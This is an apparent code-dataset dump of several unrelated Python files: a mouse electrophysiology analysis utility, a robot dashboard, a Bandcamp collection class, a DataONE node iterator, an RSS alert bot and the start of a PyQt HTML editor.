x: np.concatenate(x) \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t if len(list(x)) > 0 else x)\n\n\tlog_df = log_df.sort_values(['mouse_name', 'date', 'cluster_name', 'first_lick'], ascending = [1,1,1,1])\n\tlog_df['identified'] = 'unidentified'\n\tlog_df = log_df.reset_index(drop=True)\n\n\tlog_df['correct'] = 0\n\n\n\t# fwd contingencies - correct responses\n\tlog_df.loc[~(log_df['mouse_name'].isin(['EF0091', 'EF0099', 'EF0101', 'EF0102'])) & (log_df['block_type'] == 'Whisker') &\n\t\t (log_df['trial_type'].str.contains('Som')) & (log_df['response'] == 1), 'correct'] = 1\n\tlog_df.loc[~(log_df['mouse_name'].isin(['EF0091', 'EF0099', 'EF0101', 'EF0102'])) & (log_df['block_type'] == 'Visual') &\n\t\t (log_df['trial_type'].str.contains('Vis')) & (log_df['response'] == 2), 'correct'] = 1\n\n\t#rev contingencies - correct responses\n\tlog_df.loc[(log_df['mouse_name'].isin(['EF0091', 'EF0099', 'EF0101', 'EF0102'])) & (log_df['block_type'] == 'Whisker') &\n\t\t (log_df['trial_type'].str.contains('Som')) & (log_df['response'] == 2), 'correct'] = 1\n\tlog_df.loc[(log_df['mouse_name'].isin(['EF0091', 'EF0099', 'EF0101', 'EF0102'])) & (log_df['block_type'] == 'Visual') &\n\t\t (log_df['trial_type'].str.contains('Vis')) & (log_df['response'] == 1), 'correct'] = 1\n\n\t#correct rejections\n\tlog_df.loc[(log_df['block_type'] == 'Whisker') & (log_df['trial_type'].str.contains('Vis'))\n\t\t\t & (log_df['response'] == 0), 'correct'] = 1\n\tlog_df.loc[(log_df['block_type'] == 'Visual') & (log_df['trial_type'].str.contains('Som'))\n\t\t\t & (log_df['response'] == 0), 'correct'] = 1\n \n\n\n\tlog_df['uni_id'] = (log_df['mouse_name'].apply(lambda x: x[-3:]) + log_df['date']+\n\t\t\t\t\t\t\t log_df['cluster_name'].apply(lambda x: x[2] + x[-2:]))\n\tunit_key_df = log_df[['uni_id', 'mouse_name', 'date', 'cluster_name']].drop_duplicates().reset_index(drop = True)\n\treturn log_df, unit_key_df\n\n\t\ndef calculate_baseline(log_df, bin_size):\n\t\n\t# ITI is added on to the beginning of each trial therefore stim-onset time is a direct measure of ITI length.\n\t# will restrict baseline periods to 0.5 s before stim onset - periods will be [-stimOnset to -0.5]\n\tbaseline_df = pd.DataFrame(-np.column_stack((log_df['stim_onset'], np.repeat(0.5, len(log_df['stim_onset'])))),\n\t\t\t\t\t columns = ['baseline_min', 'baseline_max'])\n\tlog_df = pd.concat((log_df.reset_index(drop=True), baseline_df), axis=1)\n\n\t# remove all trials with dropped stim-onsets that are due to premature licking\n\tlog_df['baseline_min'] = log_df['baseline_min'].replace(0, np.nan)\n\tlog_df = log_df.dropna(subset = ['baseline_min'])\n\n\t# remove all trials with short ITIs and truncate ITIs of trials with ITIs longer than 3.5s\n\tlog_df = log_df[log_df['baseline_min'] <= -3.5] \n\tlog_df.loc[:, 'baseline_min'] = -3.5\n\n\tedges = np.arange(-3.5, -1, bin_size)\n\tlog_df['baseline_spike_count'] = [np.histogram(trial_spikes, edges)[0] for trial_spikes in log_df['spike_times(stim_aligned)']]\n\treturn log_df\n\t\ndef calc_spike_stats(log_df, unit_key_df, uni_id, bin_size):\n\t\"\"\"\n\tcalculates the baseline FR mean and baseline FR std for each unit\n\t\"\"\"\n\t\n\tunit_rows = log_df[(log_df['uni_id'] == uni_id)]\n\tunit_ind = np.where(unit_key_df['uni_id'] == uni_id)[0]\n\n ## since there are 8 trial types (short/long x touchStim/visStim x touchBlock/visBlock) will use random sample of\n\t## 1/8 of all trials to calculate mean and std of baseline firing rate for each unit\n\tbaseline_trial_inds = rand.sample(list(unit_rows.index), int(np.max(unit_rows['trial_num'])/8))\n\tbin_means = np.mean(np.stack(unit_rows.loc[baseline_trial_inds,'baseline_spike_count'].as_matrix(), axis = 0), axis=0)/bin_size\n\tunit_key_df.loc[unit_ind,'FR_mean'] = np.mean(bin_means)\n\tunit_key_df.loc[unit_ind,'FR_std'] = np.std(bin_means)\n\treturn unit_key_df\n\t\ndef calc_lick_stats(log_df, afunc, trial_types, col_names):\n\n\tstat_table = pd.pivot_table(log_df, values = 'first_lick', index = ['trial_type', 'uni_id'], aggfunc = afunc)\n\ttrial_stats = {col_names[i] : np.concatenate(stat_table.loc[trial_types[i]].values) for i in range(len(trial_types))}\n\tts_df = pd.DataFrame(trial_stats)\n \n\treturn ts_df\n\t\n\ndef calc_unit_stats(unit_key_df, log_df, bin_size, include_short = False, include_switch = False):\n\t\"\"\"\n\tfunction that calculates the folowing stats for each unit:\n\t\t-reaction time for each trial type\n\t\t-baseline firing rate\n\t\"\"\"\n\tlog_df = calculate_baseline(log_df, bin_size)\n\tif include_short:\n\t\ttrial_types = ['Stim_Som', 'Stim_Vi*', '1CycStim_Som_NoCue', '1CycStim_Vis_NoCue']\n\t\tmeans = calc_lick_stats(log_df, np.nanmean, trial_types, ['RT_mean_TLR', 'RT_mean_VLL', 'RT_mean_sTLR', 'RT_mean_sVLL'])\n\t\tmedians = calc_lick_stats(log_df, np.nanmedian, trial_types, ['RT_median_TLR', 'RT_median_VLL', 'RT_median_sTLR', 'RT_median_sVLL'])\n\t\tstds = calc_lick_stats(log_df, np.nanstd, trial_types, ['RT_std_TLR', 'RT_std_VLL', 'RT_std_sTLR', 'RT_std_sVLL'])\n\t\tnums = calc_lick_stats(log_df, np.size, trial_types, ['RT_num_TLR', 'RT_num_VLL', 'RT_num_sTLR', 'RT_num_sVLL'])\n\telif include_switch:\n\t\ttrial_types = ['Stim_Som', 'Stim_Vis', 'Stim_Som_NoCue_Switch', 'Stim_Vis_NoCue_Switch']\n\t\tmeans = calc_lick_stats(log_df, np.nanmean, trial_types, ['RT_mean_TLR', 'RT_mean_VLL', 'RT_mean_TLL', 'RT_mean_VLR'])\n\t\tmedians = calc_lick_stats(log_df, np.nanmedian, trial_types, ['RT_median_TLR', 'RT_median_VLL', 'RT_median_TLL','RT_median_VLR'])\n\t\tstds = calc_lick_stats(log_df, np.nanstd, trial_types, ['RT_std_TLR', 'RT_std_VLL', 'RT_std_TLL', 'RT_std_VLR'])\n\t\tnums = calc_lick_stats(log_df, np.size, trial_types, ['RT_num_TLR', 'RT_num_VLL', 'RT_num_TLL', 'RT_num_VLR'])\n\telse:\n\t\ttrial_types = ['Stim_Som', 'Stim_Vis',]\n\t\tmeans = calc_lick_stats(log_df, np.nanmean, trial_types, ['RT_mean_TLR', 'RT_mean_VLL'])\n\t\tmedians = calc_lick_stats(log_df, np.nanmedian, trial_types, ['RT_median_TLR', 'RT_median_VLL'])\n\t\tstds = calc_lick_stats(log_df, np.nanstd, trial_types, ['RT_std_TLR', 'RT_std_VLL'])\n\t\tnums = calc_lick_stats(log_df, np.size, trial_types, ['RT_num_TLR', 'RT_num_VLL'])\n\t\t\n\tunit_key_df = pd.concat([unit_key_df, means, medians, stds, nums], axis = 1)\n\t[calc_spike_stats(log_df, unit_key_df, uni_id, bin_size) for uni_id in tqdm_notebook(unit_key_df['uni_id'])];\n\t# from IPython.core.debugger import Tracer; Tracer()() \n\treturn unit_key_df\n\t\n \ndef filt_motion_trials(log_df, data_direc, fn = 'trialsToExclude2'):\n \"\"\"\n takes exclude_fn df and uses contents to filter out rows with high motion artifact\n in main log_df file\n \"\"\"\n\n mat = sp.io.loadmat(data_direc + '\\\\' + fn)\n ex_log = mat['trialsToExclude']\n indv_ex_log_df = pd.DataFrame(ex_log, columns = ['mouse_name', 'date', 'trial_num'])\n\n for col in [0,1,2,2]:\n indv_ex_log_df.ix[:,col] = indv_ex_log_df.ix[:,col].str[0]\n\n log_df = log_df.reset_index()\n rows_to_exclude = pd.merge(log_df, indv_ex_log_df, how='inner', on = ['mouse_name', 'date', 'trial_num'])\n inds_to_exclude = rows_to_exclude['index'].as_matrix()\n log_df = log_df.drop(inds_to_exclude, axis = 0).reset_index(drop=True)\n log_df.drop('index', axis = 1, inplace = True)\n \n\n return log_df\n\ndef chunk_trials(log_df):\n \"\"\"\n cuts up main log file into dictionary of units so it can be indexed quickly\n for plotting \n \"\"\"\n subset_dict = {}\n size_dict = {}\n subset_dict['None'] = 0\n size_dict['None'] = 0\n\n categories = np.concatenate([log_df['mouse_name'].unique(), log_df['identified'].unique()])\n\n for cat in categories:\n subset = log_df[log_df['mouse_name'] == cat]\n if subset.size == 0:\n subset = log_df[log_df['identified'] == cat]\n print(cat)\n subset_dict[cat] = subset\n unique_units = subset[['mouse_name', 'date', 'cluster_name']].drop_duplicates()\n size_dict[cat] = len(unique_units)\n #print(unique_units.size)\n return subset_dict\n\ndef plot_rasters(T_rasters, V_rasters, modality, window, bin_size, ylim_r = None, ylim_p = None):\n \"\"\"\n\tplots rasters and PSTHs of indicated unit\n\t\"\"\"\n\t\n fig = mpl.figure(figsize=(4, 3.5))\n first_raster = T_rasters[0]\n gs1 = gridspec.GridSpec(1,1)\n gs2 = gridspec.GridSpec(1,1)\n gs3 = gridspec.GridSpec(1,1)\n gs4 = gridspec.GridSpec(1,1)\n gs1.update(bottom = 0.88, top=0.95, left = 0.2, right = 0.83)\n gs3.update(bottom=0.15, top=0.41, left = 0.2, right = 0.83)\n gs2.update(bottom=0.45, top=0.88, left = 0.2, right = 0.83)\n gs4.update(bottom=0.45, top=0.88, left = 0.83, right = 0.9)\n \n ax1 = mpl.subplot(gs1[0, 0])\n ax2 = mpl.subplot(gs2[0, 0])\n ax3 = mpl.subplot(gs3[0, 0])\n patch_ax = mpl.subplot(gs4[0, 0], sharey = ax2)\n\n trial_type = 0\n trial_total = 1\n hists = []\n colors= ['m', 'C3', 'C7', 'C2']\n \n if modality == 'Visual':\n rasters = V_rasters\n blocks =['Visual\\nblock', 'Touch\\nblock']\n ax1.add_patch(patches.Rectangle((0,0), 0.15, 1, facecolor = 'C1', alpha = 0.5))\n block_colors = ['C1', 'C0']\n else:\n rasters = T_rasters\n blocks =['Touch\\nblock','Visual\\nblock']\n ax1.add_patch(patches.Rectangle((0,0), 0.15, 1, facecolor = 'C0', alpha = 0.5))\n block_colors = ['C0', 'C1']\n block_lims = []\n for i in range(len(rasters)):\n ras = rasters[trial_type]\n spike_counts = []\n for trial, spike in enumerate(ras['spike_times(stim_aligned)']):\n spike = spike[(spike>window[0]) & (spike<=window[1])]\n ax2.vlines(spike, trial + trial_total - .5, trial + trial_total +.5)\n ax2.vlines(ras.iloc[trial]['first_lick'], trial + trial_total - .5, trial +\n trial_total + .5, color = colors[i], linewidth = 5)\n \n spike = spike[(spike>window[0]) & (spike<=window[1])]\n edges = np.arange(window[0], window[1]+bin_size*2, bin_size)\n count, _ = np.histogram(spike,edges)\n spike_counts.append(count)\n\n patch_ax.add_patch(patches.Rectangle((0,trial_total -.5), 1,\n trial+1, facecolor = colors[trial_type], alpha = 0.5))\n if trial_type in [0,2]:\n patch_ax.plot([0,2],[trial_total-.5, trial_total-.5], '--k')\n block_lims.append(trial_total)\n elif trial_type == 3:\n patch_ax.plot([0,2],[trial_total+ trial, trial_total+trial], '--k')\n block_lims.append(trial_total+ trial+1)\n\n trial_total = trial_total + trial +1\n trial_type += 1\n average_hist = np.convolve(np.mean(spike_counts, axis=0)/bin_size, [1/3]*3, 'same')\n SE_hist = np.convolve(stats.sem(spike_counts)/bin_size, [1/3]*3, 'same')\n \n ax3.plot(edges[0:-1], average_hist, color = colors[i])\n ax3.fill_between(edges[0:-1], average_hist-SE_hist, average_hist+SE_hist, alpha = 0.5, color = colors[i])\n \n if modality == 'Touch':\n text_loc = 0.7\n else:\n text_loc = 0.15\n ax3.text(text_loc, .54, \"CR\", transform=ax3.transAxes, color = colors[0])\n ax3.text(text_loc, .67, \"FA\", transform=ax3.transAxes, color = colors[1])\n ax3.text(text_loc, .80, \"Misses\", transform=ax3.transAxes, color = colors[2])\n ax3.text(text_loc, .94, \"Hits\", transform=ax3.transAxes, color = colors[3])\n\n for ax in [ax1,ax2,ax3, patch_ax]:\n ax.set_xlim(window[0],window[1]-bin_size)\n ax.spines['right'].set_visible(False)\n ax.spines['top'].set_visible(False)\n ax.xaxis.set_ticks_position('bottom')\n ax.yaxis.set_ticks_position('left')\n \n ax1.axis('off')\n ax1.set_ylim(0,2)\n\n ax2.spines['bottom'].set_visible(False)\n ax2.set_ylabel('Trials') \n ax2.axes.get_xaxis().set_ticks([])\n ax2.set_ylim(-1, trial_total+.5)\n\n ax3.set_xlabel('Time(s)')\n ax3.set_ylabel('Firing\\nrate (Hz)') \n \n og_ylim = ax2.get_ylim()\n if ylim_r != None:\n ax2.set_ylim(ylim_r)\n ax2.spines['left'].set_bounds(0, trial_total)\n ax2.set_yticks(np.arange(0, og_ylim[1], 20))\n if ylim_p != None:\n ax3.set_ylim(ylim_p)\n\n patch_ax.axis('off')\n patch_ax.set_xlim(0,2)\n patch_ax.text(1.2, (block_lims[1] - block_lims[0])/2.5, blocks[1], color = block_colors[1])\n patch_ax.text(1.2, (block_lims[2] - block_lims[1])/2.5 + block_lims[1], blocks[0], color = block_colors[0])\n \n return fig\n\ndef plot_unit(df_dict, mouse, n, x_min, x_max, modality = 'Touch', ylim=None, bin_size = 0.025):\n\t\"\"\"\n\tindexes trials by trial type and passes them to\n\tplot_rasters for plotting\n\t\"\"\"\n\tdf = df_dict[mouse]\n\t#df = pd.DataFrame(df[0], index = [)\n\tind_units = df[['mouse_name', 'date', 'cluster_name']].drop_duplicates()\n\n\tmouse = df['mouse_name'] == ind_units.iloc[n,0]\n\tdate = df['date'] == ind_units.iloc[n,1]\n\tcluster_name = df['cluster_name'] == ind_units.iloc[n,2]\n\tcurrent_cell = df[mouse & date & cluster_name]\n\n\n\tcell_TTH = current_cell[(current_cell['block_type'] == 'Whisker') &\n\t\t\t\t\t\t (current_cell['trial_type'] == 'Stim_Som_NoCue')&\n\t\t\t\t\t\t (current_cell['correct'] == 1)]\n\tcell_TTM = current_cell[(current_cell['block_type'] == 'Whisker') &\n\t\t\t\t\t\t (current_cell['trial_type'] == 'Stim_Som_NoCue')&\n\t\t\t\t\t\t (current_cell['correct'] == 0)]\n\tcell_VTFA = current_cell[(current_cell['block_type'] == 'Visual') &\n\t\t\t\t (current_cell['trial_type'] == 'Stim_Som_NoCue')&\n\t\t\t\t (current_cell['correct'] == 0)]\n\tcell_VTCR = current_cell[(current_cell['block_type'] == 'Visual') &\n\t\t\t\t (current_cell['trial_type'] == 'Stim_Som_NoCue')&\n\t\t\t\t (current_cell['correct'] == 1)]\n\n\tcell_VVH = current_cell[(current_cell['block_type'] == 'Visual') &\n\t\t\t\t\t\t (current_cell['trial_type'] == 'Stim_Vis_NoCue')&\n\t\t\t\t\t\t (current_cell['correct'] == 1)]\n\tcell_VVM = current_cell[(current_cell['block_type'] == 'Visual') &\n\t\t\t\t\t\t (current_cell['trial_type'] == 'Stim_Vis_NoCue')&\n\t\t\t\t\t\t (current_cell['correct'] == 0)]\n\tcell_TVFA = current_cell[(current_cell['block_type'] == 'Whisker') &\n\t\t\t\t (current_cell['trial_type'] == 'Stim_Vis_NoCue')&\n\t\t\t\t (current_cell['correct'] == 0)]\n\tcell_TVCR = current_cell[(current_cell['block_type'] == 'Whisker') &\n\t\t\t\t (current_cell['trial_type'] == 'Stim_Vis_NoCue')&\n\t\t\t\t (current_cell['correct'] == 1)]\n\n\tt_rasters = [cell_TTH, cell_TTM, cell_VTFA, cell_VTCR][::-1]\n\tv_rasters = [cell_VVH, cell_VVM, cell_TVFA, cell_TVCR][::-1]\n\n\tmax_ylim_r = max([pd.concat(t_rasters, axis = 0).shape[0], pd.concat(v_rasters, axis = 0).shape[0]])\n\tfig = plot_rasters(t_rasters, v_rasters, modality, [x_min, x_max], bin_size, ylim_r = (0,max_ylim_r), ylim_p = ylim)\n\n\treturn fig\n\t\ndef get_uni_id(unit_key_df, mouse_name, date, cluster_name):\n key = pd.DataFrame({'mouse_name': mouse_name, 'date': date, 'cluster_name': cluster_name}, index = [0])\n return unit_key_df.merge(key)['uni_id'].as_matrix()[0]","sub_path":"utils/.ipynb_checkpoints/utils-checkpoint.py","file_name":"utils-checkpoint.py","file_ext":"py","file_size_in_byte":16319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"47631188","text":"import remi.gui as gui\nimport math\nimport seamonsters as sea\n\nclass CompetitionDashboard(sea.Dashboard):\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, css=True, **kwargs)\n\n def sectionBox(self):\n vbox = gui.VBox()\n vbox.style['border'] = '2px solid gray'\n vbox.style['border-radius'] = '0.5em'\n vbox.style['margin'] = '0.5em'\n vbox.style['padding'] = '0.2em'\n return vbox\n\n def main(self, robot, appCallback):\n self.robot = robot\n\n root = gui.HBox(width = 1000, margin = \"0px auto\")\n root.style['align-items'] = 'stretch'\n\n leftSide = gui.VBox()\n leftSide.style['align-items'] = 'stretch'\n\n rightSide = gui.VBox()\n rightSide.style['align-items'] = 'flex-start'\n\n self.motorDataDict = { \\\n \"ampRow\" : None,\n \"tempRow\" : None,\n \"maxAmpRow\" : None,\n \"maxTempRow\" : None,\n \"amp\" : [],\n \"temp\" : [],\n \"maxAmp\" : [],\n \"maxTemp\" : []\n }\n\n leftSide.append(self.initStats(robot))\n leftSide.append(self.initLedControl(robot))\n\n rightSide.append(self.initManual(robot))\n rightSide.append(self.initTest(robot))\n\n root.append(leftSide)\n root.append(rightSide)\n\n appCallback(self)\n return root\n\n # runs every time the dashboard is updated\n def idle(self):\n\n # updates the values in self.motorDataTable\n for motorNum in range(6):\n\n ampRow = self.motorDataTable.children[self.motorDataDict[\"ampRow\"]]\n ampItem = ampRow.children[self.motorDataDict[\"amp\"][motorNum]]\n ampItem.set_text(str(self.robot.motorData[motorNum][\"amps\"]))\n\n tempRow = self.motorDataTable.children[self.motorDataDict[\"tempRow\"]]\n tempItem = tempRow.children[self.motorDataDict[\"temp\"][motorNum]]\n tempItem.set_text(str(self.robot.motorData[motorNum][\"temp\"]))\n\n maxAmpRow = self.motorDataTable.children[self.motorDataDict[\"maxAmpRow\"]]\n maxAmpItem = maxAmpRow.children[self.motorDataDict[\"maxAmp\"][motorNum]]\n maxAmpItem.set_text(str(self.robot.motorData[motorNum][\"maxAmp\"]))\n\n maxTempRow = self.motorDataTable.children[self.motorDataDict[\"maxTempRow\"]]\n maxTempItem = maxTempRow.children[self.motorDataDict[\"maxTemp\"][motorNum]]\n maxTempItem.set_text(str(self.robot.motorData[motorNum][\"maxTemp\"]))\n\n def initManual(self, robot):\n manualBox = self.sectionBox()\n\n driveControlBox = gui.VBox(gui.Label(\"Drive controls\"))\n gearButtons = []\n speedButtons = []\n compressorButtons = []\n \n self.gearGroup = sea.ToggleButtonGroup()\n for mode in robot.driveGears.keys():\n button = gui.Button(mode)\n button.set_on_click_listener(robot.c_changeGear)\n gearButtons.append(button)\n self.gearGroup.addButton(button)\n \n self.speedGroup = sea.ToggleButtonGroup()\n for speed in robot.driveGears[robot.driveMode].keys():\n button = gui.Button(speed)\n button.set_on_click_listener(robot.c_changeSpeed)\n speedButtons.append(button)\n self.speedGroup.addButton(button)\n\n self.compressorGroup = sea.ToggleButtonGroup()\n for mode in [\"start\",\"stop\"]:\n button = gui.Button(mode)\n button.set_on_click_listener(robot.c_compressor)\n compressorButtons.append(button)\n self.compressorGroup.addButton(button)\n \n gearBox = sea.hBoxWith(gui.Label(\"Gears:\"), gearButtons)\n speedBox = sea.hBoxWith(gui.Label(\"Speed:\"), speedButtons)\n compressorBox = sea.hBoxWith(gui.Label(\"Compressor:\"), compressorButtons)\n\n driveControlBox.append(gearBox)\n driveControlBox.append(speedBox)\n driveControlBox.append(compressorBox)\n\n manualBox.append(driveControlBox)\n return manualBox\n\n def initTest(self, robot):\n testBox = self.sectionBox()\n\n motorNumberIn = gui.Input()\n motorSelectionBox = sea.hBoxWith(gui.Label(\"Motor Number:\"), motorNumberIn)\n\n motorSpeedSlider = gui.Slider(default_value=0, min= -1.0, max= 1.0, step= 0.05)\n testButton = gui.Button(\"Test\")\n motorSpeedBox = sea.hBoxWith(testButton, gui.Label(\"Speed:\"), motorSpeedSlider)\n\n def testMotor(button):\n robot.superDrive.disable()\n try:\n motorNum = int(motorNumberIn.get_value()) - 1\n except:\n print(\"Motor number incorrect\")\n return\n\n wheelNum = 0\n if motorNum >= 3:\n wheelNum = 1\n motorNum -= 3\n\n if motorNum < 0 or motorNum >= 3:\n print(\"Motor number incorrect\")\n return\n \n robot.testSettings[\"wheelNum\"] = wheelNum\n robot.testSettings[\"motorNum\"] = motorNum\n robot.testSettings[\"speed\"] = float(motorSpeedSlider.get_value())\n \n testButton.set_on_click_listener(testMotor)\n\n testBox.append(gui.Label(\"Test\"))\n testBox.append(motorSelectionBox)\n testBox.append(motorSpeedBox)\n return testBox\n\n def initLedControl(self, robot):\n ledBox = self.sectionBox()\n\n ledInputBox = sea.hBoxWith(gui.Label(\"LED Control\"))\n ledSet = gui.Button(\"Set\")\n ledIn = gui.Input()\n\n def ledSetValue(button):\n robot.ledInput = float(ledIn.get_value())\n\n ledSet.set_on_click_listener(ledSetValue)\n\n ledInputBox.append(ledSet)\n ledInputBox.append(ledIn)\n\n ledBox.append(ledInputBox)\n\n return ledBox\n\n def initStats(self, robot):\n statsBox = self.sectionBox()\n\n motorDataBox = sea.vBoxWith(gui.Label(\"Motor Data\"))\n self.motorDataTable = gui.Table()\n motorNumRow = gui.TableRow(gui.TableItem(\"Motor Number:\"))\n motorAmpRow = gui.TableRow(gui.TableItem(\"Amp Draw:\"))\n motorTempRow = gui.TableRow(gui.TableItem(\"Temp:\"))\n motorMaxAmpRow = gui.TableRow(gui.TableItem(\"Max Amp Draw:\"))\n motorMaxTempRow = gui.TableRow(gui.TableItem(\"Max Temp:\"))\n\n self.motorDataTable.append(motorNumRow)\n self.motorDataDict[\"ampRow\"] = self.motorDataTable.append(motorAmpRow)\n self.motorDataDict[\"tempRow\"] = self.motorDataTable.append(motorTempRow)\n self.motorDataDict[\"maxAmpRow\"] = self.motorDataTable.append(motorMaxAmpRow)\n self.motorDataDict[\"maxTempRow\"] = self.motorDataTable.append(motorMaxTempRow)\n\n for motorNum in range(6):\n motorNumRow.append(gui.TableItem(str(motorNum + 1)))\n self.motorDataDict[\"amp\"].append(motorAmpRow.append(gui.TableItem(\"\")))\n self.motorDataDict[\"temp\"].append(motorTempRow.append(gui.TableItem(\"\")))\n self.motorDataDict[\"maxAmp\"].append(motorMaxAmpRow.append(gui.TableItem(\"\")))\n self.motorDataDict[\"maxTemp\"].append(motorMaxTempRow.append(gui.TableItem(\"\")))\n \n motorDataBox.append(self.motorDataTable)\n\n statsBox.append(motorDataBox)\n return statsBox","sub_path":"dashboard.py","file_name":"dashboard.py","file_ext":"py","file_size_in_byte":7223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"195089483","text":"from collections import namedtuple\n\n\nclass Collection:\n \"\"\"Bandcamp Collection tracking, holds all tracks and albums available to re-download\"\"\"\n def __init__(self, amount):\n \"\"\"Initialize an empty dict for items and set total collection size\n\n :param amount: Total number of item in collection accourding to bandcamp\n \"\"\"\n self._items = dict()\n self._amount = amount\n\n def extend(self, items, download_urls):\n \"\"\"Update the dictionary of known items in your collection from discord's API\n\n :param items: list of collection items from bandcamp's website or api\n :param download_urls: dict of sales keys to full urls to re-download item\n :return: None\n \"\"\"\n for item in items:\n download_url_id = item['sale_item_type'] + \\\n str(item['sale_item_id'])\n if download_url_id not in download_urls:\n continue\n\n obj = Item(id=download_url_id,\n type=item['item_type'],\n name=item['item_title'],\n artist=item['band_name'],\n url=item['item_url'],\n download_url=download_urls[download_url_id])\n\n self.items[obj.id] = obj\n\n @property\n def amount(self):\n \"\"\"Total number of items in collection according to bandcamp.\n Can be larger than len(items) because of non-downloadable items\n such as subscriptions.\"\"\"\n return self._amount\n\n @property\n def items(self):\n \"\"\"dictionary of sale_id keys to Item namedtuple\n values representing re-downloadable items\"\"\"\n return self._items\n\n\nItem = namedtuple('Item', ('id', 'type', 'name', 'artist',\n 'url', 'download_url'))\n","sub_path":"camp-collective/collection.py","file_name":"collection.py","file_ext":"py","file_size_in_byte":1819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"446512543","text":"# This work was created by participants in the DataONE project, and is\n# jointly copyrighted by participating institutions in DataONE. For\n# more information on DataONE, see our web site at http://dataone.org.\n#\n# Copyright 2009-2019 DataONE\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Iterate over the nodes that are registered in a DataONE environment.\n\nFor each Node in the environment, returns a PyXB representation of a DataONE\nNode document.\n\nhttps://releases.dataone.org/online/api-documentation-v2.0/\napis/Types.html#Types.Node\n\n\"\"\"\n\nimport logging\n\nimport d1_client.cnclient_2_0\n\nAPI_MAJOR = 2\n\n\nclass NodeListIterator(object):\n def __init__(\n self, base_url, api_major=API_MAJOR, client_arg_dict=None, listNodes_dict=None\n ):\n self._log = logging.getLogger(__name__)\n self._base_url = base_url\n self._api_major = api_major\n self._client_arg_dict = client_arg_dict or {}\n self._listNodes_dict = listNodes_dict\n\n def __iter__(self):\n client = d1_client.cnclient_2_0.CoordinatingNodeClient_2_0(\n self._base_url, **self._client_arg_dict\n )\n # The NodeList type does not support slicing.\n node_list_pyxb = client.listNodes()\n self._log.debug('Retrieved {} Node documents'.format(len(node_list_pyxb.node)))\n for node_pyxb in sorted(\n node_list_pyxb.node, key=lambda x: x.identifier.value()\n ):\n yield node_pyxb\n","sub_path":"lib_client/src/d1_client/iter/node.py","file_name":"node.py","file_ext":"py","file_size_in_byte":1953,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"334290001","text":"fname = input(\"Enter file name: \")\r\nfh = open(fname)\r\nst = list()\r\nfor line in fh:\r\n line.rstrip()\r\n word_list=line.split()\r\n for w in word_list:\r\n if( w not in st):\r\n st.append(w)\r\n\r\n\r\n#st = list(set(st))\r\n\r\nst.sort()\r\nprint(st)\r\n","sub_path":"romeo.py","file_name":"romeo.py","file_ext":"py","file_size_in_byte":258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"539219461","text":"# CTAS Bot\nversion = \"0.05\"\n\nimport subprocess as sp\nimport time\nimport requests\nimport feedparser\nimport configparser\n\n# Function to fire alerts, likely will be a caller fuction that calls mechanism functions\ndef fireAlerts(title, desc, link):\n\t\"Fires alerts using all possible contact methods\"\n\n\t##################################################\n\t# IRC alerts handled via poor man multithreading #\n\t# See: irc-module.py #\n\t##################################################\n\n\n\tprint(\"Alert has been fired\")\n\tprint(\" \")\n\tprint(\"Alert: \" + title)\n\tprint(desc)\n\tprint(link)\n\n\treturn\n\n# Entry point\n#------------------------------------------------------------------------------\n\nfeedURL = \"https://c2-ctas.github.io/feed\"\nsp.call('clear', shell=True)\n\nwhile True:\n\n\t# Get last update\n\tlastUpdateXML = \"\"\n\twith open('log.txt', 'r') as lastUpdateFile:\n\t\tlastUpdateXML = lastUpdateFile.read()\n\toldData = feedparser.parse(str(lastUpdateXML))\n\n\t# Check for new updates\n\theaders = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0'}\n\tfeed = requests.get(feedURL, headers=headers).content\n\tnewData = feedparser.parse(feed)\n\n\t# Determine if there is a new update\n\ttry:\n\t\tif oldData.entries[0].published not in newData.entries[0].published and oldData.entries[0].title not in newData.entries[0].title:\n\t\t\tfireAlerts(newData.entries[0].title, newData.entries[0].description, newData.entries[0].link)\n\n\t\t\t# Write new data to logfile\n\t\t\twith open('log.txt', 'w') as newUpdateFile:\n\t\t\t\tnewUpdateFile.write(str(feed))\n\n\t# Likely first run or error\n\texcept IndexError:\n\t\tprint(\"log.txt is empty\")\n\t\twith open('log.txt', 'w') as newUpdateFile:\n\t\t\tnewUpdateFile.write(str(feed))\n\n\ttime.sleep(300) # 300 seconds = 5 miniutes","sub_path":"ctas-bot.py","file_name":"ctas-bot.py","file_ext":"py","file_size_in_byte":1769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"509827812","text":"import sys,functools,random,time,os,json\r\n\r\nfrom PyQt5.QtWidgets import *\r\nfrom PyQt5.QtGui import *\r\nfrom PyQt5.QtCore import *\r\n\r\nfrom modules.MainWindow import *\r\nfrom modules.Dialogs import *\r\nfrom modules.ech import *\r\n\r\nclasses={}\r\nsaver=echSaver(\"./saves/save.json\")\r\nsettings={\"FONT\":\"宋体\",\"BTN_COLOR\":(220,220,220),\"BG_COLOR\":(240,240,240)}\r\n\r\n\r\nclass EditHtml(QDialog,Html_Dialog):\r\n\r\n def __init__(self):\r\n super().__init__()\r\n self.setupUi(self)\r\n self.setWindowTitle(\"编写html文档\")\r\n self.see.clicked.connect(self.show_text)\r\n self.save.clicked.connect(self.save_html)\r\n self.open.clicked.connect(self.open_html)\r\n self.textEdit.textChanged.connect(self.change_text)\r\n self.s=\"\"\r\n self.save.setIcon(QIcon(QPixmap(\"./images/save.png\")))\r\n self.save.setIconSize(QSize(40,40))\r\n self.open.setIcon(QIcon(QPixmap(\"./images/open.png\")))\r\n 